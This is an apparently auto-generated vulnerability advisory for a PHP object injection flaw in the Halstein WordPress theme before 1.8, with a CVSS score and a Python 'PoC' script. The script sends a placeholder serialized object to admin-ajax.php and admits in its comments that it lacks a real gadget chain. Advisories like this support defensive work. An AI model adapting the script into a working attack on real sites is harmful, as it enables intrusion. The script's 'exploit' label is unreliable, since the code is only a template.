Deserialization of Untrusted Data vulnerability in Mikado-Themes Halstein halstein allows Object Injection.This issue affects Halstein: from n/a through < 1.8.
CVSS Details
CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
Configurations (Affected Products)
No configuration data available.
Mikado-Themes Halstein < 1.8
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (Replace with actual vulnerable endpoint)
target_url = "http://example.com/wp-admin/admin-ajax.php"
# The vulnerability involves deserialization of untrusted data.
# An attacker needs to craft a serialized PHP object payload.
# Below is a conceptual example of sending a payload.
# Example payload (Placeholder - requires a valid gadget chain for the specific environment)
# O:8:"stdClass":0:{} is a minimal valid serialized object in PHP.
payload = "O:8:\"stdClass\":0:{}"
# Data to be sent (The parameter name depends on the theme's implementation)
data = {
"action": "vulnerable_action",
"data": payload
}
try:
response = requests.post(target_url, data=data)
if response.status_code == 200:
print("[+] Request sent successfully. Check for application behavior changes.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")